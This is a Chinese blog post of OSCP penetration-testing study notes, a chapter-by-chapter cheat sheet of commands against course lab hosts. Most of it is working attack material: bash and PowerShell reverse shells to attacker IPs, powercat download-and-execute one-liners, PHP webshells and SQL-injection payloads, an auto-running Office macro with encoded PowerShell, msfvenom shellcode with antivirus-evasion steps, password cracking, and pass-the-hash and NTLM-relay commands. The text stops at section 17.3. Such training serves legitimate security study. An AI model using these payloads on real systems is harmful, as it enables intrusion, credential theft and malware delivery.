OSCP2024-记录一下OSCP学习的过程
杨CC有话说
文章来源于:https://github.com/TopRedTeam/OSCP2024/releases .
如需完整教材或者资料,可以在上方github中寻找,或者访问杨CC资源站,请在[计算机资源学习]-[渗透学习-书籍]中寻找,或者直接在杨CC资源站中搜索:OSCP-2024即可.
如有侵权,请联系本人删除
OSCP2024
记录一下OSCP学习的过程,请各位师傅监督指正
学习方式:主要记录干货(教材里一堆废话)
学习计划:
1-过教材:教材一共24章节,前五章基本都是废话,从第6章开始整理记录,计划每天能过完一个章节
2-打靶机:免费的Vulnhub靶机,把与OSCP类似的靶机打完
3-官方lab:报名打官方lab(毕竟价格不低,如果没钱就先不报了)
本篇对应教材第六章,主要分两部分”被动信息收集”和”主动信息收集”,记录使用工具和命令
6.2 被动信息收集
6.2.1 whois枚举
查域名(-h后面是whois服务器)
1 | whois megacorpone.com -h 192.168.50.251 |
查IP
1 | whois 38.100.193.70 -h 192.168.50.251 |
6.2.2 谷歌黑客
查域名
1 | site:megacorpone.com |
查看制定文件类型
1 | site:megacorpone.com filetype:txt |
排除文件类型
1 | site:megacorpone.com -filetype:html |
查找目录遍历
1 | intitle:"index of" "parent directory" |
更多参考
1 | https://www.exploit-db.com/google-hacking-database |
Netcraft
地址
1 | searchdns.netcraft.com |
开源代码
网站
1 | https://github.com/ |
搜索制定文件
1 | owner:megacorpone path:users |
使用工具
1 | https://github.com/michenriksen/gitrob |
命令
1 | gitleaks-linux-arm64 -v -r=https://github.com/xxx/xxx |
Shodan
搜索host
1 | hostname:megacorpone.com |
增加端口信息
1 | hostname:megacorpone.com port:"22" |
Security Headers and SSL/TLS
网站
1 | https://securityheaders.com/ |
6.3 主动信息收集
6.3.1 DNS枚举
DNS记录类型
1 | NS: Nameserver records contain the name of the authoritative servers hosting the DNS records for a domain. |
查域名ip
1 | host www.megacorpone.com |
查邮件服务器等其他记录类型
1 | host -t mx megacorpone.com |
批量枚举域名对应ip
1 | for ip in $(cat list.txt); do host $ip.megacorpone.com; done |
批量枚举ip对应域名
1 | for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found" |
使用工具自动枚举
1 | dnsrecon -d megacorpone.com -t std |
A记录枚举
1 | nslookup mail.megacorptwo.com |
指定DNS服务器枚举
1 | nslookup -type=TXT info.megacorptwo.com 192.168.50.151 |
端口扫描
1 | -w 超时时间 |
TCP
1 | nc -nvv -w 1 -z 192.168.50.152 3388-3390 |
UDP
1 | nc -nv -u -z -w 1 192.168.50.149 120-123 |
NMAP端口扫描
普通扫描
1 | nmap 192.168.50.149 |
全端口扫描
1 | nmap -p 1-65535 192.168.50.149 |
SYN扫描
1 | sudo nmap -sS 192.168.50.149 |
TCP连接扫描
1 | nmap -sT 192.168.50.149 |
UDP扫描
1 | sudo nmap -sU 192.168.50.149 |
UDP+SYN扫描
1 | sudo nmap -sU -sS 192.168.50.149 |
存活主机枚举
1 | nmap -sn 192.168.50.1-253 |
指定端口及服务枚举
1 | nmap -p 80 192.168.50.1-253 -oG web-sweep.txt |
Top 20端口扫描
1 | nmap -sT -A --top-ports=20 192.168.50.1-253 -oG top-port-sweep.txt |
操作系统指纹
1 | sudo nmap -O 192.168.50.14 --osscan-guess |
服务枚举
1 | nmap -sT -A 192.168.50.14 |
nmap脚本扫描
1 | nmap --script http-headers 192.168.50.6 |
powershell端口扫描
1 | Test-NetConnection -Port 445 192.168.50.151 |
1 | 1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.50.151", $_)) "TCP port $_ is open"} 2>$null |
SMB枚举
nmap端口扫描(139、445)
1 | nmap -v -p 139,445 -oG smb.txt 192.168.50.1-254 |
udp 137端口枚举(-r参数)
1 | sudo nbtscan -r 192.168.50.0/24 |
nmap脚本相关
1 | ls -1 /usr/share/nmap/scripts/smb* |
查看SMB共享
1 | net view \\dc01 /all |
SMTP枚举
枚举主机用户
1 | nc -nv 192.168.50.8 25 |
自动脚本
1 | #!/usr/bin/python |
使用
1 | python3 smtp.py root 192.168.50.8 |
powershell枚举
1 | Test-NetConnection -Port 25 192.168.50.8 |
SNMP枚举
windows snmp
1 | 1.3.6.1.2.1.25.1.6.0 System Processes |
nmap扫描udp的161端口
1 | sudo nmap -sU --open -p 161 192.168.50.1-254 -oG open-snmp.txt |
1 | echo public > community |
自动化工具
1 | snmpwalk -c public -v1 -t 10 192.168.50.151 |
枚举windows用户
1 | snmpwalk -c public -v1 192.168.50.151 1.3.6.1.4.1.77.1.2.25 |
枚举windows进程
1 | snmpwalk -c public -v1 192.168.50.151 1.3.6.1.2.1.25.4.2.1.2 |
枚举安装软件
1 | snmpwalk -c public -v1 192.168.50.151 1.3.6.1.2.1.25.6.3.1.2 |
枚举开放端口
1 | snmpwalk -c public -v1 192.168.50.151 1.3.6.1.2.1.6.13.1.3 |
本篇对应教材第7章,主要内容”Nmap漏洞扫描”,记录使用工具和命令
7.3 Nmap漏洞扫描
7.3.1 NSE插件
查看nmap漏扫插件
1 | cd /usr/share/nmap/scripts/ |
使用脚本
1 | sudo nmap -sV -p 443 --script "vuln" 192.168.50.124 |
7.3.2 NSE插件编写
google搜索
1 | CVE-2021-41773 nse |
新增脚本
1 | sudo cp /home/kali/Downloads/http-vuln-cve-2021-41773.nse /usr/share/nmap/scripts/http-vuln-cve2021-41773.nse |
使用新脚本
1 | sudo nmap -sV -p 443 --script "http-vuln-cve2021-41773" 192.168.50.124 |
本篇对应教材第8章,主要内容”WEB分析工具”和”WEB应用枚举”,记录使用工具和命令
8.2 Web分析工具
8.2.1 web服务指纹
nmap扫描web服务
1 | sudo nmap -p80 -sV 192.168.50.20 |
http枚举
1 | sudo nmap -p80 --script=http-enum 192.168.50.20 |
8.2.2 Wappalyzer
网站
1 | https://www.wappalyzer.com/ |
8.2.3 目录枚举
1 | gobuster dir -u 192.168.50.20 -w /usr/share/wordlists/dirb/common.txt -t 5 |
8.2.4 Burp
图形界面操作
8.3 Web应用枚举
8.3.2 http头和sitemaps枚举
1 | curl https://www.google.com/robots.txt |
8.3.3 API枚举
1 | gobuster dir -u http://192.168.50.16:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern |
本篇对应教材第9章,主要内容”目录穿越”、”文件包含”、”文件上传”和”命令执行”,记录使用工具和命令
9.1 目录穿越
9.1.2 目录穿越利用
1 | http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd |
1 | curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa |
9.1.3 编码
url编码
1 | curl http://192.168.50.16/cgi-bin/../../../../etc/passwd |
9.2 文件包含
9.2.1 本地文件包含
1 | curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log |
User Agent加入webshell
1 | <?php echo system($_GET['cmd']); ?> |
文件会写入
1 | ../../../../../../../../../var/log/apache2/access.log |
1 | curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=ls%20-la |
反弹shell
1 | bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1" |
URL编码
1 | bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22 |
9.2.2 PHP包装器
文件读取
1 | curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php |
base64解码
1 | echo "PCFET0NUWVBFIGh……" | base64 -d |
命令执行
1 | curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>" |
base64编码
1 | echo -n '<?php echo system($_GET["cmd"]);?>' | base64 |
9.2.3 远程文件包含
1 | /usr/share/webshells/php/simple-backdoor.php |
9.3 文件上传
9.3.1 可执行文件
文件后缀
1 | .phps |
修改后缀上传
1 | /usr/share/webshells/php/simple-backdoor.pHP |
windows下base64编码后命令执行
1 | pwsh |
编码后使用webshell执行
1 | curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMQA4AC4AMgAgAC0AcAA... |
9.3.2 不可执行文件
post上传,文件名目录穿越
1 | ../../../../../../../test.txt |
生成ssh秘钥
1 | ssh-keygen |
文件名改为
1 | ../../../../../../../root/.ssh/authorized_keys |
上传后,ssh连接
1 | rm ~/.ssh/known_hosts |
注意:fileup文件权限,600或者400
9.4 命令执行
9.4.1 命令注入
参数注入命令
1 | curl -X POST --data 'Archive=ipconfig' http://192.168.50.189:8000/archive |
提示不可执行,尝试正常命令git
1 | curl -X POST --data 'Archive=git' http://192.168.50.189:8000/archive |
执行成功,使用%3B拼接命令
1 | curl -X POST --data 'Archive=git%3Bipconfig' http://192.168.50.189:8000/archive |
判断当前shell是cmd还是powershell
1 | (dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell |
url编码后
1 | curl -X POST --data 'Archive=git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20PowerShell' http://192.168.50.189:8000/archive |
输出是PowerShell
执行成功,使用powercat获得反弹shell
1 | cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 . |
powershell执行
1 | IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c 192.168.119.3 -p 4444 -e powershell |
url编码
1 | curl -X POST --data 'Archive=git%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell' http://192.168.50.189:8000/archive |
本篇对应教材第10章,主要内容”SQL数据库基础”、”SQL注入”、”自动执行代码”,记录使用工具和命令
10.1 SQl及数据库基础
10.1.2 数据库基础
mysql登录数据库
1 | mysql -u root -p'root' -h 192.168.50.16 -P 3306 |
查看数据库版本
1 | select version(); |
查看系统用户
1 | select system_user(); |
查看数据库名
1 | show databases; |
查看具体表中数据
1 | SELECT user, authentication_string FROM mysql.user WHERE user = 'offsec'; |
mssql登录
1 | impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth |
查看版本
1 | SELECT @@version; |
查看数据库名
1 | SELECT name FROM sys.databases; |
查看表名
1 | SELECT * FROM offsec.information_schema.tables; |
查看具体表内容
1 | select * from offsec.dbo.users; |
10.2 SQl注入
10.2.1 基于报错的sql注入
例子
1 | <?php |
用户名输入
1 | offsec' OR 1=1 -- // |
执行的sql语句是
1 | SELECT * FROM users WHERE user_name= 'offsec' OR 1=1 -- |
可以绕过密码登录成功
一般先用单引号测试
1 | offsec' |
有报错信息可以尝试注入,获得数据库版本
1 | ' or 1=1 in (select @@version) -- // |
查询表中数据
1 | ' OR 1=1 in (SELECT * FROM users) -- // |
如果报错尝试查单列
1 | ' or 1=1 in (SELECT password FROM users) -- // |
查执行用户
1 | ' or 1=1 in (SELECT password FROM users WHERE username = 'admin') -- // |
10.2.2 基于联合查询的SQL注入
例如
1 | $query = "SELECT * from customers WHERE name LIKE '".$_POST["search_input"]."%'"; |
输入
1 | ' ORDER BY 1-- // |
提示报错或者出现列数,比如6
1 | %' UNION SELECT database(), user(), @@version, null, null -- // |
联合查询会执行后面的查询依据,但是数据类型需要与原来字段一致,否则现实不出来,如果不一致可以改变位置
1 | ' UNION SELECT null, null, database(), user(), @@version -- // |
1 | ' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- // |
1 | ' UNION SELECT null, username, password, description, null FROM users -- // |
查表明、字段名、查数据均可
10.2.3 盲注
不报错也没有回显,可以基于时间盲注
1 | http://192.168.50.16/blindsqli.php?user=offsec' AND 1=1 -- // |
返回真,再用sleep函数做判断
1 | http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- // |
10.3 自动执行代码
10.3.1 代码执行
mssql执行命令
1 | impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth |
联合查询webshell写入
1 | ' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- // |
php webshell
1 | <? system($_REQUEST['cmd']); ?> |
10.3.2 自动化
sqlmap(-p 参数)
判断注入
1 | sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user |
读取数据
1 | sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump |
抓包注入
1 | sqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp" |
本篇对应教材第11章,主要内容”客户端攻击目标枚举”、”OFFICE攻击”、”滥用Windows库文件”,记录使用工具和命令
11.1 客户端攻击目标枚举
11.1.1 信息收集
1 | site:example.com filetype:pdf |
gobuster使用-x参数指定文件后缀,下载文件,查看文件信息
1 | exiftool -a -u brochure.pdf |
注意作者、程序版本等
11.1.2 客户端指纹
网站
1 | https://canarytokens.com/ |
11.2 office攻击
11.2.3 word宏横向
文件后缀
1 | .doc |
使用宏执行powershell
1 | IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1');powercat -c 192.168.119.2 -p 4444 -e powershell |
1 | $Text = "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1');powercat -c 192.168.119.2 -p 4444 -e powershell" |
加入到宏当中时需要50字符一行
1 | str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGU" |
完整宏
1 | Sub AutoOpen() |
11.3 滥用Windows库文件
11.3.1 利用
涉及文件
1 | .Library-ms |
安装webdav
1 | pip3 install wsgidav |
启动webdav
1 | mkdir /home/kali/webdav |
创建config.Library-ms文件
1 | <?xml version="1.0" encoding="UTF-8"?> |
url填写webdav地址
创建automatic_configuration.lnk文件
1 | powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.3:8000/powercat.ps1'); |
两个文件都放在webdav里面,然后把config.Library-ms发给用户,可以邮件可以smb
1 | cd webdav |
有用户打开文件夹就会获得反弹shell
本篇对应教材第12章,主要内容”在线exp库”、”离线exp库”、”漏洞利用”,记录使用工具和命令
12.2 在线exp库
网站
1 | https://www.exploit-db.com/ |
12.3 离线exp库
12.3.1 MSF
12.3.2 SearchSploit
升级库
1 | sudo apt update && sudo apt install exploitdb |
查看exp库文件
1 | ls -1 /usr/share/exploitdb/ |
搜索制定漏洞exp
1 | searchsploit remote smb microsoft windows |
拷贝到当前目录
1 | searchsploit -m windows/remote/48537.py |
12.3.3 NSE脚本插件
1 | grep Exploits /usr/share/nmap/scripts/*.nse |
12.4 漏洞利用
12.4.1 漏洞利用
发现web应用程序
1 | <div class="copyright"> |
exploit-db上搜索”qdPM 9.1”
1 | searchsploit -m 50944 |
1 | python3 50944.py -url http://192.168.50.11/project/ -u george@AIDevCorp.org -p AIDevCorp |
本篇对应教材第13章,主要内容”修改内存破坏型exp”、”修改WEB应用exp”,记录使用工具和命令
13.1 修改内存损坏型exp
1 | searchsploit "Sync Breeze Enterprise 10.0.28" |
跨平台编译
1 | sudo apt install mingw-w64 |
报错,需要加入库文件
1 | i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32 |
需要注意的exp常见修改位置
1 | 缓冲区大小 |
msf生成shellcode
1 | msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.4 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" |
修改后重新编译
1 | i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32 |
wine执行
1 | sudo wine syncbreeze_exploit.exe |
13.2 修改Web应用exp
常见修改位置
1 | http变为https |
1 | ... |
取消ssl校验
1 | ... |
本篇对应教材第14章,主要内容”杀软关键技术”、”免杀实践”,记录使用工具和命令
14.1 杀毒软件关键技术
14.1.3 检测方法
查看二进制特征码
1 | xxd -b malware.txt |
查看文件hash
1 | sha256sum malware.txt |
更改文件二进制后hash会变化
msf生成payload
1 | msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -f exe > binary.exe |
原始生成基本不免杀
14.3 免杀实践
14.3.2 线程注入免杀
msf生成powershell类型shellcode
1 | msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -f powershell -v sc |
组装ps1文件
1 | $code = ' |
有一定免杀效果,但还不够好,进一步更改变量名
1 | $winFunc -- $var2 |
保存成bypass.ps1,可以过掉一部分EDR
在windows上运行还需要关闭执行策略的防护
查看执行策略
1 | Get-ExecutionPolicy -Scope CurrentUser |
修改
1 | Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser |
再次查看
1 | Get-ExecutionPolicy -Scope CurrentUser |
执行bypass.ps1获得shell
1 | PS C:\Users\offsec\Desktop> .\bypass.ps1 |
14.3.3 自动化工具
安装
1 | apt-cache search shellter |
运行
1 | shellter |
msf本地监听,运行生成的PE文件获得shell
1 | msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST 192.168.50.1;set LPORT 443;run;" |
本篇对应教材第15章,主要内容”网络服务密码爆破”、”密码破解基础”、”使用密码hash”,记录使用工具和命令
15.1 网络服务密码爆破
15.1.1 SSH和RDP
ssh密码爆破
1 | hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.50.201 |
rdp密码喷洒
1 | hydra -L /usr/share/wordlists/dirb/others/names.txt -p "SuperS3cure1337#" rdp://192.168.50.202 |
15.1.2 HTTP页面POST爆破
1 | hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.50.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid" |
15.2 密码破解基础
15.2.2 字典变异
去少量字典演示
1 | head /usr/share/wordlists/rockyou.txt > demo.txt |
去掉1开头的行
1 | sed -i '/^1/d' demo.txt |
创建规则文件(末尾加1)
1 | echo \$1 > demo.rule |
hashcat查看规则后的字典
1 | hashcat -r demo.rule --stdout demo.txt |
比较两个不同规则文件
1 | kali@kali:~/passwordattacks$ cat demo1.rule |
1 | kali@kali:~/passwordattacks$ cat demo1.rule |
演示破解hash
1 | kali@kali:~/passwordattacks$ cat crackme.txt |
破解
1 | hashcat -m 0 crackme.txt /usr/share/wordlists/rockyou.txt -r demo3.rule --force |
查看默认规则
1 | ls -la /usr/share/hashcat/rules/ |
15.2.4 密码管理软件
keepass的存储文件是.kdbx后缀
1 | Get-ChildItem -Path C:\ - *.kdbx -File -Recurse -ErrorAction SilentlyContinue |
提取hash
1 | keepass2john Database.kdbx > keepass.hash |
删除hash中开头的
1 | Database: |
删除后是这样的
1 | kali@kali:~/passwordattacks$ cat keepass.hash |
查看hashcat的破解策略
1 | hashcat --help | grep -i "KeePass" |
破解
1 | hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force |
也可以用john直接破解不用修改hash文件
15.2.5 SSH秘钥破解
1 | ssh2john id_rsa > ssh.hash |
创建规则
1 | kali@kali:~/passwordattacks$ cat ssh.rule |
创建字典
1 | kali@kali:~/passwordattacks$ cat ssh.passwords |
破解
1 | hashcat -m 22921 ssh.hash ssh.passwords -r ssh.rule --force |
或者将规则计入到john配置里进行破解
1 | sudo sh -c 'cat /home/kali/passwordattacks/ssh.rule >> /etc/john/john.conf' |
得到密码,进行ssh登录
1 | ssh -i id_rsa -p 2222 dave@192.168.50.201 |
15.3 使用密码hash
15.3.1 NTLM破解
查看本地用户
1 | PS C:\Users\offsec> -LocalUser |
管理员身份运行cmd或者powershell(mimikatz需要管理员权限)
1 | .\mimikatz.exe |
获得SAM里面的hash
1 | User : nelly |
破解
1 | hashcat --help | grep -i "ntlm" |
15.3.2 NTLM传递
mimikatz获取hash
1 | .\mimikatz.exe |
获得administrator的hash,使用smbclient进行hash传递
1 | smbclient \\\\192.168.50.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b |
可以获得smb共享以及文件
或者使用psexec传递,获得shell
1 | impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212 |
也可以使用wmiexec传递获得shell
1 | impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212 |
15.3.3 Net-NTLMv2破解
获取hash,本地(192.168.119.2)开启监听
1 | ip a |
目标机器上执行命令
1 | dir \\\\192.168.119.2\\test |
获得hsah
1 | [+] Listening for events... |
保存hash,查看破解策略
1 | hashcat --help | grep -i "ntlm" |
破解
1 | hashcat -m 5600 paul.hash /usr/share/wordlists/rockyou.txt --force |
15.3.4 Net-NTLMv2中继/转发
破解不出密码时,可以转发
1 | impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 -c "powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMwA3AC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAJwApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMwA3ACAALQBwACAAOQAwADkAMAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwA" |
报错的话需要用python3调用py脚本
1 | python3 /usr/local/bin/ntlmrelayx.py --no-http-server -smb2support -t 192.168.50.212 -c "powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMwA3AC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAJwApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMwA3ACAALQBwACAAOQAwADkAMAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwA" |
powershell命令需要base64编码
1 | $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
1 | pwsh |
本篇对应教材第16章,主要内容”Windows提权信息枚举”、”利用Windows服务”、”利用其他Windows组件”,记录使用工具和命令
16.1 Windows提权信息枚举
16.1.2 基本信息枚举
查看当前用户和组
1 | whoami |
1 | powershell |
查看系统信息
1 | systeminfo |
查看网络和路由信息
1 | ipconfig /all |
查看软件安装信息(32位和64位)
1 | Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname |
查看当前进程
1 | Get-Process |
16.1.3 密码明文存储
查找密码文件,关注常见的密码文件
1 | .kdbx -- keepass的密码存储文件 |
1 | Get-ChildItem -Path C:\ - *.kdbx -File -Recurse -ErrorAction SilentlyContinue |
获得密码后可以运行用户下的cmd
1 | PS C:\Users\steve> runas /user:backupadmin cmd |
16.1.4 powershell历史记录
查看历史
1 | Get-History |
历史文件位置
1 | (-PSReadlineOption).HistorySavePath |
查看历史文件
1 | type C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt |
历史文件中找到敏感文件
1 | type C:\Users\Public\Transcripts\transcript01.txt |
敏感文件里有密码和session连接信息,使用信息进行session连接
1 | $password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force |
PSSession下执行命令可能没有回显,使用winrm,主要密码中特殊字符需要转译
1 | evil-winrm -i 192.168.50.220 -u daveadmin -p "qwertqwertqwert123\!\!" |
16.1.5 自动枚举
winpeas
1 | cp /usr/share/peass/winpeas/winPEASx64.exe . |
16.2 利用Windows服务
16.2.1 服务二进制文件劫持
查看服务
1 | Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'} |
查看服务的二进制文件访问权限
1 | icacls "C:\xampp\apache\bin\httpd.exe" |
| Mask掩模 | Permissions权限 |
|---|---|
| F | Full access完全访问权限 |
| M | Modify access修改访问 |
| RX | Read and execute access读取和执行访问 |
| R | Read-only access只读访问 |
| W | Write-only access只写存取 |
关注F和W权限的
创建添加用户程序
1 | #include <stdlib.h> |
编译
1 | x86_64-w64-mingw32-gcc adduser.c -o adduser.exe |
下载替换文件
1 | iwr -uri http://192.168.119.3/adduser.exe -Outfile adduser.exe |
重启服务
1 | net stop mysql |
如果没有权限,可以看看服务是不是开机自启,如果是就看看是不是可以重启机器
1 | Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'} |
也可以使用自动化工具PowerUp.ps1
1 | cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 . |
报错,有时不能盲目相信自动化工具,需要手动利用。
16.2.2 服务DLL劫持
枚举服务
1 | Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'} |
查看二进制文件权限
1 | icacls .\Documents\BetaServ.exe |
可读可执行,不能替换,使用Procmon64.exe查看进程调用dll情况
点击Filter添加过滤规则
1 | Process Name is BetaServ.exe |
然后重启服务
1 | Restart-Service BetaService |
看到多次调用myDLL.dll
查看环境变量
1 | PS C:\Users\steve> $env:path |
在第一个调用路径上放置dll文件
1 | #include <stdlib.h> |
编译
1 | x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll |
放置在一个调用路径,需要是一个可写目录,如:
1 | C:\Users\steve\Documents |
1 | cd Documents |
重启服务,dll被加载,代码被运行
1 | Restart-Service BetaService |
添加管理员成功
16.2.3 无引号文件路径
路径中存在空格时且路径没有被引号包裹,文件执行顺序如下:
1 | C:\Program Files\My Program\My Service\service.exe |
枚举服务和路径信息(powershell)
1 | Get-CimInstance -ClassName win32_service | Select Name,State,PathName |
枚举没有引号路径的服务(cmd)
1 | wmic service name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """ |
发现服务
1 | Name PathName |
测试起是否可以被启动和停止
1 | Start-Service GammaService |
文件执行顺序
1 | C:\Program.exe |
检查路径是否可写
1 | icacls "C:\" |
需要有F或者W权限,如
1 | C:\Program Files\Enterprise Apps |
1 | iwr -uri http://192.168.119.3/adduser.exe -Outfile Current.exe |
自动化工具PowerUp
1 | iwr http://192.168.119.3/PowerUp.ps1 -Outfile PowerUp.ps1 |
16.3 利用其他Windows组件
16.3.1 计划任务
查看
1 | schtasks /query /fo LIST /v |
关注任务名、下一次执行时间、作者、文件路径等信息
查看是否可以替换
1 | icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe |
替换
1 | iwr -Uri http://192.168.119.3/adduser.exe -Outfile BackendCacheCleanup.exe |
等执行时间过后,查看
1 | net user |
16.3.2 使用漏洞
查看权限
1 | whoami /priv |
有SeImpersonatePrivilege可以用PrintSpoofer或者土豆系列
1 | wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe |
本篇对应教材第17章,主要内容”Linux提权信息枚举”、”敏感信息”、”不安全的文件权限”和”不安全的系统组件”,记录使用工具和命令
17.1 linux提权信息枚举
17.1.2 手动枚举
文件权限
1 | ls -l /etc/shadow |
当前用户id
1 | id |
所有用户
1 | cat /etc/passwd |
主机名
1 | hostname |
操作系统信息
1 | cat /etc/issue |
进程信息
1 | ps aux |
关注root权限的
网络信息
1 | ip a |
防火墙规则
1 | cat /etc/iptables/rules.v4 |
计划任务
1 | ls -lah /etc/cron* |
关注是否有root权限的文件可以替换
查看当前用户计划任务
1 | crontab -l |
查看已安装程序
1 | dpkg -l |
搜索可写目录
1 | find / -writable -type d 2>/dev/null |
查看已安装文件系统和驱动器
1 | cat /etc/fstab |
查看可用磁盘
1 | lsblk |
可能有未挂载的磁盘里面有敏感信息
查看内核模块
1 | lsmod |
查看模块信息
1 | /sbin/modinfo libata |
查找SUID二进制文件
1 | find / -perm -u=s -type f 2>/dev/null |
17.1.3 自动枚举
1 | unix-privesc-check |
如/etc/passwd文件可写提权
https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation
其他辅助脚本
1 | https://github.com/rebootuser/LinEnum |
17.2 敏感信息
17.2.1 用户配置中的敏感信息
环境变量(比如密码等信息)
1 | env |
bash配置文件(比如密码等信息)
1 | cat .bashrc |
找到密码后切换用户
1 | su - root |
根据密码做字典
1 | crunch 6 6 -t Lab%%% > wordlist |
破解指定用户密码
1 | hydra -l eve -P wordlist 192.168.50.214 -t 4 ssh -V |
登录后查看sudo
1 | ssh eve@192.168.50.214 |
直接sudo提权
1 | sudo -i |
17.2.2 服务运行痕迹
监测进程中的敏感信息
1 | watch -n 1 "ps -aux | grep pass" |
监测网络通信中的敏感信息
1 | sudo tcpdump -i lo -A | grep "pass" |
17.3 不安全的文件权限
